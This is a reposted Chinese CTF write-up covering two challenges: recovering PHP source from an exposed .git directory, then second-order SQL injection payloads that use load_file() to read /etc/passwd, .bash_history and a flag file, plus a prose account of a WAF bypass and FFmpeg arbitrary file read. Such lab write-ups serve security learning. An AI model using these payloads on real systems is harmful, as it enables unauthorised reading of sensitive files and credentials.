CTFer成长之路-任意文件读取漏洞-文件读取漏洞常见读取路径(SQL二次注入)

admin 2022年11月26日21:36:25评论28 views字数 1962阅读6分32秒阅读模式

一:网鼎杯2018线上赛

首先:使用BurpSuite自带的Intruder模块爆破密码后3字节

CTFer成长之路-任意文件读取漏洞-文件读取漏洞常见读取路径(SQL二次注入)

CTFer成长之路-任意文件读取漏洞-文件读取漏洞常见读取路径(SQL二次注入)

漏洞一:通过git目录泄露还原出应用源代码

python GitHacker.py http://ffd1ae28-f0e2-41c3-9522-ce58080f91e6.node3.buuoj.cn/.git/#链接为有git泄露的链接

查看日志

git log --relog

还原文件

git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c
<?phpinclude "mysql.php";session_start();if($_SESSION['login'] != 'yes'){    header("Location: ./login.php");    die();}if(isset($_GET['do'])){switch ($_GET['do']){case 'write':    $category = addslashes($_POST['category']);    $title = addslashes($_POST['title']);    $content = addslashes($_POST['content']);    $sql = "insert into board            set category = '$category',                title = '$title',                content = '$content'";    $result = mysql_query($sql);    header("Location: ./index.php");    break;case 'comment':    $bo_id = addslashes($_POST['bo_id']);    $sql = "select category from board where id='$bo_id'";    $result = mysql_query($sql);    $num = mysql_num_rows($result);    if($num>0){    $category = mysql_fetch_array($result)['category'];    $content = addslashes($_POST['content']);    $sql = "insert into comment            set category = '$category',                content = '$content',                bo_id = '$bo_id'";    $result = mysql_query($sql);    }    header("Location: ./comment.php?id=$bo_id");    break;default:    header("Location: ./index.php");}}else{    header("Location: ./index.php");}?>

漏洞二:二次注入提取文件

',content=(select(load_file("/etc/passwd"))),/*
',content=(select(load_file("/home/www/.bash_history"))),/*
',content=(select(load_file("/tmp/html/.DS_Store"))),/*
',content=(select(load_file("/tmp/html/.DS_Store"))),/*
',content=(select hex(load_file("/tmp/html/.DS_Store"))),/*
',content=(select hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*

二:CISCN 2017

漏洞一:使用内联注释绕过SQL注入WAF

CTFer成长之路-任意文件读取漏洞-文件读取漏洞常见读取路径(SQL二次注入)

漏洞二:FFMPEG任意文件读取

1.利用注入得到的用户名和密码登录管理员账号,发现在管理员页面存在一个视频格式转化的功能,猜测题目的考查内容是FFMPEG的任意文件读取漏洞。

2.利用已知的exploit脚本生成恶意AVI文件并上传,下载转化后的视频,播放视频可发现能成功读取到文件内容(/etc/passwd)。

3.根据/etc/passwd的文件内容,发现存在名为s0m3b0dy的用户,猜测flag在其用户目录下,即/home/s0m3b0dy/flag(.txt);继续通过FFMPEG文件读取漏洞读取flag,发现成功获得flag。

———————————————

转载于:

https://blog.csdn.net/aa2528877987/article/details/119532090


原文始发于微信公众号(网络安全学习爱好者):CTFer成长之路-任意文件读取漏洞-文件读取漏洞常见读取路径(SQL二次注入)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月26日21:36:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CTFer成长之路-任意文件读取漏洞-文件读取漏洞常见读取路径(SQL二次注入)https://cn-sec.com/archives/1419436.html

发表评论

匿名网友 填写信息